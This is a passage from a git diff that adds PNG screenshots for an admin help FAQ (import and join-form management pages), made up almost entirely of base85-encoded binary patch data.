zJNW)1^R~n9oFs?L*QZ{fm9sU|gAS!an_=tenu~PA>(0p*cZm(J3VTZH2wXMMNjXw) za;@iLH`lmbuVHj9x!_hwAo0~gFGG|*>BOi2{feKt7_gEC+&_4#3pd;NN@cG;W-J80 zCnQ22GYpJtMOsnaUOEYFlvFHX5k$Dcku1u; zu|Z#k3{-lRTk>lbgU@Ye^BX$Px6E6I#If}>ngm1jW703_S&7NycBG-{8QuoO2h4VtaWGeo#5pu zk(+*5F1YEOER2?{K3*?MPc04>=oqJsL~KqRun51?do`E2(Y5RVN(GC2LV~=e^s2>JRtf3GpgrF1O{SOzdziz&Y#deYsEq0Ed=_Zea>lAYjjp_?XR@v}_VI}ZV#~WbetU*Od!)KMS| zH1$9DdZ!|(G;PFvmgiuJEM-b9!daOo`EH#!f&a!}^1Ogl67o%&k!wv6m1p=e>A(KXA8+GB0kf6R}t zB}N6Mv+g*(RhMWHIoqhi6UgRbnV^flB=pZG#DD8Nzy!9eUy*lM`rvmD{Ns+_j14as Jl;}C%{x85UOt=65 literal 0 HcmV?d00001 diff --git a/admin/help/img/faq/import2.PNG b/admin/help/img/faq/import2.PNG new file mode 100644 index 0000000000000000000000000000000000000000..18ae9e9bdc1b49671fd2ab13a5d72fb7a26e6924 GIT binary patch literal 9260 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 literal 0 HcmV?d00001 diff --git a/admin/help/img/faq/import_complete.PNG b/admin/help/img/faq/import_complete.PNG new file mode 100644 index 0000000000000000000000000000000000000000..bf7a5ca55cf18a535c11991b989c912242ca6203 GIT binary patch literal 7945 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 literal 0 HcmV?d00001 diff --git a/admin/help/img/faq/joinform_manage.PNG b/admin/help/img/faq/joinform_manage.PNG new file mode 100644 index 0000000000000000000000000000000000000000..1ea39ea8e3ed8afaf222c74b1d625e761950b1a7 GIT binary patch literal 42725 zcmd43bzGEP8!Zf?h$5h%(jbZ;oze^_DjiBmOLyqd3?&L8DV;MQF*FF$ElT6i9U?Fz zEeti}xdHW2-pBWx@BF^+eCID^&&+-A-s@UxUE5ztL6YD+#d$0&ECOk%dylZNa9~(i zr;71#ffB`snlZpX*x*N!cd_z5Q_TW@oHo59e+LWeT?qcJ{u$u!Ylc#fk84Z`yN1{OAX^i3rRl2g)B5oX@>QtenD$%vj`qqD=hfLr$^)zf`>cBItS2?n-- zExA?ffU_%1mKMPk2u#AV;MfExWM5HbZRpe4Qy0CkPG7^q#uLXn{;v`vHWv)?d&%*K z4#b11sCq%ZKfZkUkvQHHP#5;e;$8(Tw1%*O!f#JL{%?#T?|+mPlhi@_gJVd3*5TI| zkR${r%fuH?bHa*mAW#2C#XBHNdXK-d)@2-X~t& z=?e>v-*H-n%=!c+3SSWe87GVjs=98!ix^5Jy>#bC5Bz+)m%mp%s#PjgrxnL_U403r2weGI+N%Nz%B_-*DPrPtD zu_(lG%&-WOuz7($#HA>jU9UAk5y|8%yfCH|IO6@gw^zf)AG-0NMj*o*5W@Cv_DFPe z?QWXu^c%_Ez0HaIn(e;)#)CFn2hY32Wai2B68}8z=-J}DN?i~_x4Y|Qeg05IA|wxA zcBX!%;6c1!M|wAxh;AYhy*krofq;t6Embb7ZH|INDmKU6`rJ3iNDnw_TR`U;PRs#u zy>n&j5R(p*pavTU??9rFVz%@g4Ao~6YQjqD3q{nsQDTz4xhU}Rc=fxk(P}rRDtDCd z#6z*IdZMu9Ld6f?z5kq0o$99ukvu)~Odp@MkA6Wh;}Zsv-Zw_ag0w#;AXca1{m!)& 